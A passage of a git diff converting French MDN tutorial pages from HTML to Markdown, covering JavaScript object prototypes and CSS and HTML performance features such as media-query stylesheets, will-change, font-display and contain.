Vous pouvez ensuite entrer le code suivant dans la console : - <pre class="brush: js">personne1.aurevoir();</pre> - </li> -</ol> +3. Vous pouvez désormais essayer d'accéder aux propriétés de personne3 : + + ```js + personne3.prenom + personne3.age + personne3.bio() + ``` + +Ça fonctionne bien. A priori, ce n'est pas la manière la plus simple de créer un objet et vous n'aurez pas à l'utiliser souvent. En revanche, ça peut vous débloquer quand vous devez créer une nouvelle instance et que vous ne disposez pas facilement du constructeur d'origine. + +L'attribut [`constructor`](/fr/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor) possède d'autres intérêts. Par exemple, si vous disposez du nom d'une instance objet vous pouvez utiliser le code suivant pour renvoyer le nom de son constructeur : + +```js +instanceName.constructor.name +``` + +Vous pouvez essayer : + +```js +personne1.constructor.name +``` + +## Modifions les prototypes + +Voyons au travers d'un exemple comment modifier l'attribut `prototype` d'un constructeur (les méthodes ajoutées au prototype seront alors disponibles pour toutes les instances créées à partir du constructeur). + +1. Revenons à notre exemple [oojs-class-further-exercises.html](https://mdn.github.io/learning-area/javascript/oojs/introduction/oojs-class-further-exercises.html) et faisons une copie local du [code source](https://github.com/mdn/learning-area/blob/master/javascript/oojs/introduction/oojs-class-further-exercises.html). En dessous du JavaScript existant, vous pouvez ajouter le code suivant, ce qui aura pour effet d'ajouter une nouvelle méthode à l'attribut `prototype` du constructeur : + + ```js + Personne.prototype.aurevoir = function() { + alert(this.nom.prenom + ' est sorti. Au revoir !'); + } + ``` + +2. Enregistrez vos modifications et chargez la page dans votre navigateur. Vous pouvez ensuite entrer le code suivant dans la console : + + ```js + personne1.aurevoir(); + ``` -<p>Vous devriez voir une fenêtre s'afficher avec un message contenant le nom de la personne. Cette fonctionalité est utile, mais là où ça devient plus intéressant c'est que la chaine de prototypage a été mis à jour dynamiquement, rendant automatiquement cette méthode disponible à l'ensemble des instances existantes.</p> +Vous devriez voir une fenêtre s'afficher avec un message contenant le nom de la personne. Cette fonctionalité est utile, mais là où ça devient plus intéressant c'est que la chaine de prototypage a été mis à jour dynamiquement, rendant automatiquement cette méthode disponible à l'ensemble des instances existantes. -<p>Revoyons en détail ce qui s'est passé : tout d'abord, nous avons défini le constructeur. Ensuite, nous avons instancié un objet à partir du constructeur. Enfin, nous avons ajouté une nouvelle méthode au prototype du construceur :</p> +Revoyons en détail ce qui s'est passé : tout d'abord, nous avons défini le constructeur. Ensuite, nous avons instancié un objet à partir du constructeur. Enfin, nous avons ajouté une nouvelle méthode au prototype du construceur : -<pre class="brush: js">function Personne(prenom, nom, age, genre, interets) { +```js +function Personne(prenom, nom, age, genre, interets) { // définition des attrbuts et des méthodes @@ -198,27 +225,31 @@ var personne1 = new Personne('Tammi', 'Smith', 32, 'neutre', ['musique', 'ski', Personne.prototype.aurevoir= function() { alert(this.nom.prenom + ' est sorti. Au revoir !'); -}</pre> +} +``` -<p>Même si nous l'avons déclaré après, la méthode <code>aurevoir()</code> est disponible pour l'instance <code>personne1</code>. Son existence a mis à jour dynamiquement les méthodes de l'instance. Cela démontre ce que nous expliquions plus haut au sujet de la chaine de prototypage : le navigateur la parcourt de manière ascendante. Ainsi, il est possible de trouver directement les méthodes qui n'ont pas été définies au niveau de l'instance, plutôt que de les recopier au sein de l'instance. Cela nous permet de bénéficier d'un système extensible de manière simple et élégante.</p> +Même si nous l'avons déclaré après, la méthode `aurevoir()` est disponible pour l'instance `personne1`. Son existence a mis à jour dynamiquement les méthodes de l'instance. Cela démontre ce que nous expliquions plus haut au sujet de la chaine de prototypage : le navigateur la parcourt de manière ascendante. Ainsi, il est possible de trouver directement les méthodes qui n'ont pas été définies au niveau de l'instance, plutôt que de les recopier au sein de l'instance. Cela nous permet de bénéficier d'un système extensible de manière simple et élégante. -<div class="note"> -<p><strong>Note :</strong> Si vous avez du mal à faire fonctionner cet exemple, vous pouvez jeter un œil au notre (<a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html">oojs-class-prototype.html</a>, voir la <a href="https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html">démo</a>)</p> -</div> +> **Note :** Si vous avez du mal à faire fonctionner cet exemple, vous pouvez jeter un œil au notre ([oojs-class-prototype.html](https://github.com/mdn/learning-area/blob/master/javascript/oojs/advanced/oojs-class-prototype.html), voir la [démo](https://mdn.github.io/learning-area/javascript/oojs/advanced/oojs-class-prototype.html)) -<p>Vous verrez peu d'attributs définis au sein de l'attribut <code>prototype</code>, pour la simple et bonne raison que c'est assez peu pratique. Vous pourriez avoir :</p> +Vous verrez peu d'attributs définis au sein de l'attribut `prototype`, pour la simple et bonne raison que c'est assez peu pratique. Vous pourriez avoir : -<pre class="brush: js">Personne.prototype.nomComplet = 'Bob Smith';</pre> +```js +Personne.prototype.nomComplet = 'Bob Smith'; +``` -<p>Mais ce n'est pas très pratique, étant donné qu'une personne ne sera peut-être pas appelée de cette manière. Il est plus cohérent de construire le nom entier en combinant le nom et le prénom :</p> +Mais ce n'est pas très pratique, étant donné qu'une personne ne sera peut-être pas appelée de cette manière. Il est plus cohérent de construire le nom entier en combinant le nom et le prénom : -<pre class="brush: js">Personne.prototype.nomComplet = this.nom.prenom + ' ' + this.nom.nom;</pre> +```js +Personne.prototype.nomComplet = this.nom.prenom + ' ' + this.nom.nom; +``` -<p>Ça ne fonctionnera toujours pas. En effet, <code>this</code> aura une portée globale et ne sera pas dans le contexte de la fonction. En appelant cet attribut, nous aurions alors <code>undefined undefined</code>. Dans les exemples précédents sur le prototype, nous arrivions à obtenir quelque chose de fonctionnel puisque nous étions au sein d'une méthode, qui sera utilisée par l'instance. Il est donc possible de définir des attributs invariables au niveau du prototype mais de manière générale, il est préférable de les définir au sein du constructeur.</p> +Ça ne fonctionnera toujours pas. En effet, `this` aura une portée globale et ne sera pas dans le contexte de la fonction. En appelant cet attribut, nous aurions alors `undefined undefined`. Dans les exemples précédents sur le prototype, nous arrivions à obtenir quelque chose de fonctionnel puisque nous étions au sein d'une méthode, qui sera utilisée par l'instance. Il est donc possible de définir des attributs invariables au niveau du prototype mais de manière générale, il est préférable de les définir au sein du constructeur. -<p>En fait, on retrouve généralement la chose suivante : les attributs sont définis dans le constructeur, tandis que les méthodes sont définies au niveau du prototype. Cela rend le code plus simple à lire puisque les attributs sont groupés et les méthodes structurées en blocs distincts. Par exempe :</p> +En fait, on retrouve généralement la chose suivante : les attributs sont définis dans le constructeur, tandis que les méthodes sont définies au niveau du prototype. Cela rend le code plus simple à lire puisque les attributs sont groupés et les méthodes structurées en blocs distincts. Par exempe : -<pre class="brush: js">// Constructeur avec définition des attributs +```js +// Constructeur avec définition des attributs function Test(a, b, c, d) { // définition des attributs @@ -232,14 +263,15 @@ Test.prototype.x = function() { ... } Test.prototype.y = function() { ... } -// etc...</pre> +// etc... +``` -<p>Ce type d'implémentation peut être observée dans l'appli <a href="https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js">plan d'école</a> de Piotr Zalewa par exemple.</p> +Ce type d'implémentation peut être observée dans l'appli [plan d'école](https://github.com/zalun/school-plan-app/blob/master/stage9/js/index.js) de Piotr Zalewa par exemple. -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Cet article a traité des prototypes objet en JavaScript, en incluant la chaine de prototypage qui permet aux objets d'hériter des propriétés d'un autre objet. Nous avons aussi vu l'attribut prototype et comment nous pouvons l'utiliser pour ajouter des méthodes au constructeur.</p> +Cet article a traité des prototypes objet en JavaScript, en incluant la chaine de prototypage qui permet aux objets d'hériter des propriétés d'un autre objet. Nous avons aussi vu l'attribut prototype et comment nous pouvons l'utiliser pour ajouter des méthodes au constructeur. -<p>Dans le prochain article, nous verrons comment appliquer l'héritage entre deux de nos propres objets.</p> +Dans le prochain article, nous verrons comment appliquer l'héritage entre deux de nos propres objets. -<p>{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}}</p> +{{PreviousMenuNext("Learn/JavaScript/Objects/Object-oriented_JS", "Learn/JavaScript/Objects/Inheritance", "Learn/JavaScript/Objects")}} diff --git a/files/fr/learn/performance/css/index.md b/files/fr/learn/performance/css/index.md index f2f3f0dfa2..d07d7fe267 100644 --- a/files/fr/learn/performance/css/index.md +++ b/files/fr/learn/performance/css/index.md @@ -3,82 +3,80 @@ title: Optimisation des performances en CSS slug: Learn/Performance/CSS translation_of: Learn/Performance/CSS --- -<p>{{LearnSidebar}}{{PreviousMenuNext("Learn/Performance/html", "Learn/Performance/fonts", "Learn/Performance")}} {{draft}}</p> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Performance/html", "Learn/Performance/fonts", "Learn/Performance")}} {{draft}} -<p>Peindre une page non stylisée, puis la repeindre une fois les styles analysés constituerait une mauvaise expérience pour l'utilisateur. C'est pourquoi les feuilles de style CSS bloquent le rendu, sauf si le navigateur sait que les feuilles de style CSS ne sont pas nécessaires. Le navigateur peut peindre la page une fois qu'il a téléchargé le CSS et construit le modèle objet CSS. Les navigateurs suivent un chemin de rendu spécifique : la peinture n'intervient qu'après la mise en page, qui intervient après la création de l'arbre de rendu, qui nécessite à son tour les arbres DOM et CSSOM. Pour optimiser la construction du CSSOM, il faut supprimer les styles inutiles, les minifier, les compresser et les mettre en cache, et répartir les CSS qui ne sont pas nécessaires au chargement de la page dans des fichiers supplémentaires afin de réduire le blocage du rendu CSS.</p> +Peindre une page non stylisée, puis la repeindre une fois les styles analysés constituerait une mauvaise expérience pour l'utilisateur. C'est pourquoi les feuilles de style CSS bloquent le rendu, sauf si le navigateur sait que les feuilles de style CSS ne sont pas nécessaires. Le navigateur peut peindre la page une fois qu'il a téléchargé le CSS et construit le modèle objet CSS. Les navigateurs suivent un chemin de rendu spécifique : la peinture n'intervient qu'après la mise en page, qui intervient après la création de l'arbre de rendu, qui nécessite à son tour les arbres DOM et CSSOM. Pour optimiser la construction du CSSOM, il faut supprimer les styles inutiles, les minifier, les compresser et les mettre en cache, et répartir les CSS qui ne sont pas nécessaires au chargement de la page dans des fichiers supplémentaires afin de réduire le blocage du rendu CSS. -<h3 id="optimizing_for_render_blocking">Optimiser le temps de bloquage du rendu</h3> +### Optimiser le temps de bloquage du rendu -<p>Les CSS peuvent adapter les styles à des conditions particulières grâce aux requêtes média. Les requêtes média sont importantes pour une conception Web adaptative et nous aident à optimiser un chemin de rendu critique. Le navigateur bloque le rendu jusqu'à ce qu'il analyse tous ces styles, mais il ne bloque pas le rendu des styles qu'il sait qu'il n'utilisera pas, comme les feuilles de style d'impression. En divisant le CSS en plusieurs fichiers basés sur des requêtes média, vous pouvez empêcher le blocage du rendu pendant le téléchargement du CSS inutilisé. Pour créer un lien CSS non bloquant, déplacez les styles qui ne sont pas immédiatement utilisés, tels que les styles d'impression, dans un fichier distinct, ajoutez une balise HTML <code><a href="/fr/docs/Web/HTML/Element/link"><link></a></code>, et ajoutez une requête média, indiquant dans ce cas qu'il s'agit d'une feuille de style d'impression.</p> +Les CSS peuvent adapter les styles à des conditions particulières grâce aux requêtes média. Les requêtes média sont importantes pour une conception Web adaptative et nous aident à optimiser un chemin de rendu critique. Le navigateur bloque le rendu jusqu'à ce qu'il analyse tous ces styles, mais il ne bloque pas le rendu des styles qu'il sait qu'il n'utilisera pas, comme les feuilles de style d'impression. En divisant le CSS en plusieurs fichiers basés sur des requêtes média, vous pouvez empêcher le blocage du rendu pendant le téléchargement du CSS inutilisé. Pour créer un lien CSS non bloquant, déplacez les styles qui ne sont pas immédiatement utilisés, tels que les styles d'impression, dans un fichier distinct, ajoutez une balise HTML [`<link>`](/fr/docs/Web/HTML/Element/link), et ajoutez une requête média, indiquant dans ce cas qu'il s'agit d'une feuille de style d'impression. -<pre class="brush: html"><link rel="stylesheet" href="styles.css"> <!-- bloquant --> -<link rel="stylesheet" href="print.css" media="print"> <!-- non bloquant --> -<link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- non bloquant sur grand écran --></pre> +```html +<link rel="stylesheet" href="styles.css"> <!-- bloquant --> +<link rel="stylesheet" href="print.css" media="print"> <!-- non bloquant --> +<link rel="stylesheet" href="mobile.css" media="screen and (max-width: 480px)"> <!-- non bloquant sur grand écran --> +``` -<p>Par défaut, le navigateur suppose que chaque feuille de style spécifiée bloque le rendu. Indiquez au navigateur quand la feuille de style doit être appliquée en ajoutant un attribut <code>media</code> avec la <a href="/fr/docs/Web/CSS/Media_Queries/Using_media_queries">requête média</a>. Lorsque le navigateur voit une feuille de style, il sait qu'il n'a besoin de l'appliquer que pour un scénario spécifique, il télécharge quand même la feuille de style, mais ne rend pas le bloc. En séparant la feuille de style en plusieurs fichiers, le fichier principal bloquant le rendu, dans ce cas <code>styles.css</code>, est beaucoup plus petit, ce qui réduit le temps de blocage du rendu.</p> +Par défaut, le navigateur suppose que chaque feuille de style spécifiée bloque le rendu. Indiquez au navigateur quand la feuille de style doit être appliquée en ajoutant un attribut `media` avec la [requête média](/fr/docs/Web/CSS/Media_Queries/Using_media_queries). Lorsque le navigateur voit une feuille de style, il sait qu'il n'a besoin de l'appliquer que pour un scénario spécifique, il télécharge quand même la feuille de style, mais ne rend pas le bloc. En séparant la feuille de style en plusieurs fichiers, le fichier principal bloquant le rendu, dans ce cas `styles.css`, est beaucoup plus petit, ce qui réduit le temps de blocage du rendu. -<h3 id="animating_on_the_gpu">Les animations sur le GPU</h3> +### Les animations sur le GPU -<p>Les navigateurs sont déjà optimisés pour manipuler les animations CSS, ainsi que les propriétés d'animation qui ne provoquent pas de réorganisation soudaine du document (ces autres propriétés nécessiteront alors un nouveau rendu). Cette optimisation s'effectue en plaçant les éléments animés sur un autre fil d'exécution que l'on peut alors envoyer sur le GPU, bien plus rapide pour ce genre de tâche. Pour profiter de cette optimisation, il faut alors animer de préférence avec les propriétés de transformation 3D (<code><a href="/fr/docs/Web/CSS/transform">transform: translateZ()</a></code>, <code><a href="/fr/docs/Web/CSS/transform-function/rotate3d()">rotate3d()</a></code>, etc.), de transformation 2D ainsi que les propriétés <code><a href="/fr/docs/Web/CSS/opacity">opacity</a></code>, <code><a href="/fr/docs/Web/CSS/position">position: fixed</a></code>, <code><a href="/fr/docs/Web/CSS/will-change">will-change</a></code> et <code><a href="/fr/docs/Web/CSS/filter">filter</a></code>. D'autres éléments, parmi lesquels <code><a href="/fr/docs/Web/HTML/Element/video"><video></a></code>, <code><a href="/fr/docs/Web/HTML/Element/canvas"><canvas></a></code> ou encore <code><a href="/fr/docs/Web/HTML/Element/iframe"><iframe></a></code>, fonctionnent aussi sur leur propre fil d'exécution. Cette technique permet donc de tirer profit de la vitesse d'exécution du GPU pour chaque élément géré sur un nouveau fil d'exécution, et permet d'obtenir de bien meilleures performances, en particulier sur mobile.</p> +Les navigateurs sont déjà optimisés pour manipuler les animations CSS, ainsi que les propriétés d'animation qui ne provoquent pas de réorganisation soudaine du document (ces autres propriétés nécessiteront alors un nouveau rendu). Cette optimisation s'effectue en plaçant les éléments animés sur un autre fil d'exécution que l'on peut alors envoyer sur le GPU, bien plus rapide pour ce genre de tâche. Pour profiter de cette optimisation, il faut alors animer de préférence avec les propriétés de transformation 3D ([`transform: translateZ()`](/fr/docs/Web/CSS/transform), [`rotate3d()`](</fr/docs/Web/CSS/transform-function/rotate3d()>), etc.), de transformation 2D ainsi que les propriétés [`opacity`](/fr/docs/Web/CSS/opacity), [`position: fixed`](/fr/docs/Web/CSS/position), [`will-change`](/fr/docs/Web/CSS/will-change) et [`filter`](/fr/docs/Web/CSS/filter). D'autres éléments, parmi lesquels [`<video>`](/fr/docs/Web/HTML/Element/video), [`<canvas>`](/fr/docs/Web/HTML/Element/canvas) ou encore [`<iframe>`](/fr/docs/Web/HTML/Element/iframe), fonctionnent aussi sur leur propre fil d'exécution. Cette technique permet donc de tirer profit de la vitesse d'exécution du GPU pour chaque élément géré sur un nouveau fil d'exécution, et permet d'obtenir de bien meilleures performances, en particulier sur mobile. -<h3 id="will-change_property">La propriété <code>will-change</code></h3> +### La propriété `will-change` -<p>La propriété CSS <a href="/fr/docs/Web/CSS/will-change"><code>will-change</code></a> indique au navigateur les propriétés CSS d'un élément qui sont susceptibles d'être modifiées par la suite (lors d'animations par exemple), afin que le navigateur puisse s'y préparer et optimiser ces changements. Cela permet principalement d'améliorer les performances en réalisant en amont des calculs parfois gourmands.</p> +La propriété CSS [`will-change`](/fr/docs/Web/CSS/will-change) indique au navigateur les propriétés CSS d'un élément qui sont susceptibles d'être modifiées par la suite (lors d'animations par exemple), afin que le navigateur puisse s'y préparer et optimiser ces changements. Cela permet principalement d'améliorer les performances en réalisant en amont des calculs parfois gourmands. -<pre class="brush: css">will-change: opacity, transform;</pre> +```css +will-change: opacity, transform; +``` -<h3 id="the_cssxreffont-display_property">La propriété <code>font-display</code></h3> +### La propriété `font-display` -<p>Insérée dans une règle <a href="/fr/docs/Web/CSS/@font-face"><code>@font-face</code></a>, la propriété CSS <a href="/fr/docs/Web/CSS/@font-face/font-display"><code>font-display</code></a> permet de définir la logique de chargement et d'affichage des polices par le navigateur. Elle permet par exemple d'afficher le texte avec une police par défaut le temps que l'autre charge ou lorsque le chargement échoue. Cela permet de rendre le texte visible sans l'attente du chargement des polices, mais a pour défaut un flash brusque de changement de police une fois la ressource chargée.</p> +Insérée dans une règle [`@font-face`](/fr/docs/Web/CSS/@font-face), la propriété CSS [`font-display`](/fr/docs/Web/CSS/@font-face/font-display) permet de définir la logique de chargement et d'affichage des polices par le navigateur. Elle permet par exemple d'afficher le texte avec une police par défaut le temps que l'autre charge ou lorsque le chargement échoue. Cela permet de rendre le texte visible sans l'attente du chargement des polices, mais a pour défaut un flash brusque de changement de police une fois la ressource chargée. -<pre class="brush: css">@font-face { +```css +@font-face { font-family: someFont; src: url(/path/to/fonts/someFont.woff) format('woff'); font-weight: 400; font-style: normal; font-display: fallback; -}</pre> +} +``` -<p>Dans cet exemple, la dernière règle <code>font-display: fallback;</code> permet justement d'afficher le texte avec une police par défaut en attendant le chargement de la police <code>someFont.woff</code>.</p> +Dans cet exemple, la dernière règle `font-display: fallback;` permet justement d'afficher le texte avec une police par défaut en attendant le chargement de la police `someFont.woff`. -<h3 id="the_cssxrefcontain_property">La propriété <code>contain</code></h3> +### La propriété `contain` -<p>La propriété CSS <a href="/fr/docs/Web/CSS/contain"><code>contain</code></a> permet quant à elle de spécifier au navigateur qu'un élément et son contenu sont, dans la mesure du possible, indépendants du reste de l'arborescence du document. Ceci offre la possibilité au navigateur de recalculer la mise en page, le style, le rendu, la taille ou toute combinaison de ces propriétés seulement pour une portion de l'arborescence DOM, sans avoir à étendre ces calculs à la totalité de la page.</p> +La propriété CSS [`contain`](/fr/docs/Web/CSS/contain) permet quant à elle de spécifier au navigateur qu'un élément et son contenu sont, dans la mesure du possible, indépendants du reste de l'arborescence du document. Ceci offre la possibilité au navigateur de recalculer la mise en page, le style, le rendu, la taille ou toute combinaison de ces propriétés seulement pour une portion de l'arborescence DOM, sans avoir à étendre ces calculs à la totalité de la page. -<h2 id="conclusion">Conclusion</h2> +## Conclusion -<p>Optimiser les performances en CSS revient ainsi à améliorer deux étapes cruciales et chronophages du rendu de page :</p> +Optimiser les performances en CSS revient ainsi à améliorer deux étapes cruciales et chronophages du rendu de page : -<ul> - <li>d'une part le chargement des ressources CSS de la page (en compressant, en divisant le fichier, ou encore en l'enregistrant dans le cache par exemple) ;</li> - <li>d'autre part le rendu, en établissant une stratégie ingénieuse de chargement et d'interprétation des ressources, notamment en distinguant les ressources essentielles pour le rendu et les autres ressources annexes, qui peuvent attendre.</li> -</ul> +- d'une part le chargement des ressources CSS de la page (en compressant, en divisant le fichier, ou encore en l'enregistrant dans le cache par exemple) ; +- d'autre part le rendu, en établissant une stratégie ingénieuse de chargement et d'interprétation des ressources, notamment en distinguant les ressources essentielles pour le rendu et les autres ressources annexes, qui peuvent attendre. -<p>Enfin, les outils de développement du navigateur sont à votre disposition pour vous aider à cibler les étapes chronophages qui ralentissent le rendu de vos pages et gagner encore en efficacité, au prix parfois de quelques compromis.</p> +Enfin, les outils de développement du navigateur sont à votre disposition pour vous aider à cibler les étapes chronophages qui ralentissent le rendu de vos pages et gagner encore en efficacité, au prix parfois de quelques compromis. -<p>{{PreviousMenuNext("Learn/Performance/html", "Learn/Performance/fonts", "Learn/Performance")}}</p> +{{PreviousMenuNext("Learn/Performance/html", "Learn/Performance/fonts", "Learn/Performance")}} -<h2 id="in_this_module">Dans ce module</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Learn/Performance/why_web_performance">Le « pourquoi » des performances web</a></li> - <li><a href="/fr/docs/Learn/Performance/What_is_web_performance">Que sont les performances web ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Perceived_performance">Comment les internautes perçoivent-ils les performances ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Measuring_performance">Mesurer les performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Multimedia">Multimédia : images</a></li> - <li><a href="/fr/docs/Learn/Performance/video">Multimédia : vidéos</a></li> - <li><a href="/fr/docs/Learn/Performance/JavaScript">Bonnes pratiques Javascript en matière de performance</a></li> - <li><a href="/fr/docs/Learn/Performance/HTML">Fonctionnalité HTML pour la performance</a></li> - <li><a href="/fr/docs/Learn/Performance/CSS">Optimisation des performances en CSS</a></li> - <li><a href="/fr/docs/Learn/Performance/Fonts">Performance et polices</a></li> - <li><a href="/fr/docs/Learn/Performance/Mobile">Performance sur mobile</a></li> - <li><a href="/fr/docs/Learn/Performance/business_case_for_performance">Placer le focus sur les performances</a></li> -</ul> +- [Le « pourquoi » des performances web](/fr/docs/Learn/Performance/why_web_performance) +- [Que sont les performances web ?](/fr/docs/Learn/Performance/What_is_web_performance) +- [Comment les internautes perçoivent-ils les performances ?](/fr/docs/Learn/Performance/Perceived_performance) +- [Mesurer les performances](/fr/docs/Learn/Performance/Measuring_performance) +- [Multimédia : images](/fr/docs/Learn/Performance/Multimedia) +- [Multimédia : vidéos](/fr/docs/Learn/Performance/video) +- [Bonnes pratiques Javascript en matière de performance](/fr/docs/Learn/Performance/JavaScript) +- [Fonctionnalité HTML pour la performance](/fr/docs/Learn/Performance/HTML) +- [Optimisation des performances en CSS](/fr/docs/Learn/Performance/CSS) +- [Performance et polices](/fr/docs/Learn/Performance/Fonts) +- [Performance sur mobile](/fr/docs/Learn/Performance/Mobile) +- [Placer le focus sur les performances](/fr/docs/Learn/Performance/business_case_for_performance) -<h2 id="see_also">Voir aussi</h2> +## Voir aussi -<ul> - <li> - <p><a href="/fr/docs/Web/Performance/CSS_JavaScript_animation_performance">CSS animation performance</a></p> - </li> -</ul> +- [CSS animation performance](/fr/docs/Web/Performance/CSS_JavaScript_animation_performance) diff --git a/files/fr/learn/performance/html/index.md b/files/fr/learn/performance/html/index.md index 2c6ae834d6..b2f063073b 100644 --- a/files/fr/learn/performance/html/index.md +++ b/files/fr/learn/performance/html/index.md @@ -3,80 +3,83 @@ title: Fonctionnalités de performances liées à HTML slug: Learn/Performance/HTML translation_of: Learn/Performance/HTML --- -<p>{{LearnSidebar}} {{PreviousMenuNext("Learn/Performance/javascript_performance", "Learn/Performance/CSS", "Learn/Performance")}} {{draft}}</p> +{{LearnSidebar}} {{PreviousMenuNext("Learn/Performance/javascript_performance", "Learn/Performance/CSS", "Learn/Performance")}} {{draft}} -<p>HTML est par défaut rapide et accessible. Il est du devoir de toute personne développant des sites web et des applications de s'assurer que ces deux caractéristiques sont préservées lors de la création ou de la modification de code HTML. Des difficultés peuvent apparaître par exemple lorsque la taille de fichier d'un élément <a href="/fr/docs/Web/HTML/Element/video"><code><video></code></a> est trop importante, ou lorsqu'une page web n'est pas optimisée pour les appareils mobiles. Ce module a pour but de présenter les fonctionnalités clés de HTML qui sont liées aux performances, et qui peuvent améliorer drastiquement la qualité de vos pages web.</p> +HTML est par défaut rapide et accessible. Il est du devoir de toute personne développant des sites web et des applications de s'assurer que ces deux caractéristiques sont préservées lors de la création ou de la modification de code HTML. Des difficultés peuvent apparaître par exemple lorsque la taille de fichier d'un élément [`<video>`](/fr/docs/Web/HTML/Element/video) est trop importante, ou lorsqu'une page web n'est pas optimisée pour les appareils mobiles. Ce module a pour but de présenter les fonctionnalités clés de HTML qui sont liées aux performances, et qui peuvent améliorer drastiquement la qualité de vos pages web. <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> - <td>Bases de l'informatique, <a href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software">logiciels de base</a> installés et connaissances de base <a href="/fr/docs/Learn/Getting_started_with_the_web">des technologies web opérant côté client</a>.</td> + <th scope="row">Prérequis :</th> + <td> + Bases de l'informatique, + <a + href="/fr/docs/Learn/Getting_started_with_the_web/Installing_basic_software" + >logiciels de base</a + > + installés et connaissances de base + <a href="/fr/docs/Learn/Getting_started_with_the_web" + >des technologies web opérant côté client</a + >. + </td> </tr> <tr> - <th scope="row">Objectifs :</th> - <td>En savoir davantage sur l'impact des éléments et attributs HTML le l'optimisation des performances pour le web.</td> + <th scope="row">Objectifs :</th> + <td> + En savoir davantage sur l'impact des éléments et attributs HTML le + l'optimisation des performances pour le web. + </td> </tr> </tbody> </table> -<h2 id="elements_attributes_impacting_performance">Éléments & attributs ayant un impact sur les performances</h2> +## Éléments & attributs ayant un impact sur les performances -<ul> - <li><a href="/fr/docs/Web/HTML/Element/picture">L'élément <code><picture></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/video">L'élément <code><video></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/Source">L'élément <code><source></code></a></li> - <li> - <a href="/fr/docs/Web/HTML/Element/Img#attributes">L'élément et l'attribut <code><img> srcset</code></a> - <ul> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Images adaptatives</a></li> - </ul> - </li> - <li><a href="/fr/docs/orphaned/Web/HTML/Preloading_content">Préchargement du contenu avec <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ - en anglais</a>)</li> - <li>Attributs <code>async</code> / <code>defer</code></li> - <li><a href="/fr/docs/Web/HTML/Element/iframe">L'élément <code><iframe></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/object">L'élément <code><object></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/script">L'élément <code><script></code></a></li> - <li><a href="/fr/docs/Web/HTML/Attributes/rel">L'attribut <code>rel</code></a></li> -</ul> +- [L'élément `<picture>`](/fr/docs/Web/HTML/Element/picture) +- [L'élément `<video>`](/fr/docs/Web/HTML/Element/video) +- [L'élément `<source>`](/fr/docs/Web/HTML/Element/Source) +- [L'élément et l'attribut `<img> srcset`](/fr/docs/Web/HTML/Element/Img#attributes) -<h2 id="conclusion">Conclusion</h2> + - [Images adaptatives](/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images) -<p>{{PreviousMenuNext("Learn/Performance/javascript_performance", "Learn/Performance/CSS", "Learn/Performance")}}</p> +- [Préchargement du contenu avec `rel="preload"`](/fr/docs/orphaned/Web/HTML/Preloading_content) - [(https://w3c.github.io/preload/ - en anglais](https://w3c.github.io/preload/)) +- Attributs `async` / `defer` +- [L'élément `<iframe>`](/fr/docs/Web/HTML/Element/iframe) +- [L'élément `<object>`](/fr/docs/Web/HTML/Element/object) +- [L'élément `<script>`](/fr/docs/Web/HTML/Element/script) +- [L'attribut `rel`](/fr/docs/Web/HTML/Attributes/rel) -<h2 id="in_this_module">Dans ce module</h2> +## Conclusion -<ul> - <li><a href="/fr/docs/Learn/Performance/why_web_performance">Le « pourquoi » des performances web</a></li> - <li><a href="/fr/docs/Learn/Performance/What_is_web_performance">Qu'est-ce que sont les performances web ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Perceived_performance">Comment les visiteurs perçoivent-ils les performances ?</a></li> - <li><a href="/fr/docs/Learn/Performance/Measuring_performance">Mesurer les performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Multimedia">Multimédia : images</a></li> - <li><a href="/fr/docs/Learn/Performance/video">Multimédia : vidéos</a></li> - <li><a href="/fr/docs/Learn/Performance/JavaScript">Bonnes pratiques de performances pour JavaScript</a></li> - <li><a href="/fr/docs/Learn/Performance/HTML">Fonctionnalités de HTML liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/CSS">Fonctionnalités de CSS liées aux performances</a></li> - <li><a href="/fr/docs/Learn/Performance/Fonts">Performances et polices d'écriture</a></li> - <li><a href="/fr/docs/Learn/Performance/Mobile">Performances sur mobile</a></li> - <li><a href="/fr/docs/Learn/Performance/business_case_for_performance">Placer le focus sur les performances</a></li> -</ul> +{{PreviousMenuNext("Learn/Performance/javascript_performance", "Learn/Performance/CSS", "Learn/Performance")}} -<h2 id="see_also">Voir aussi</h2> +## Dans ce module -<ul> - <li><a href="/fr/docs/Web/HTML/Element/picture">L'élément <code><picture></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/video">L'élément <code><video></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/Source">L'élément <code><source></code></a></li> - <li> - <a href="/fr/docs/Web/HTML/Element/Img#attributes">L'élément et l'attribut <code><img> srcset</code></a> - <ul> - <li><a href="/fr/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">Images adaptatives</a></li> - </ul> - </li> - <li><a href="/fr/docs/orphaned/Web/HTML/Preloading_content">Préchargement du contenu avec <code>rel="preload"</code></a> - <a href="https://w3c.github.io/preload/">(https://w3c.github.io/preload/ - en anglais</a>)</li> - <li>Attributs <code>async</code> / <code>defer</code></li> - <li><a href="/fr/docs/Web/HTML/Element/iframe">L'élément <code><iframe></code></a></li> - <li><a href="/fr/docs/Web/HTML/Element/object">L'élément <code><object></code></a></li> - <li><a 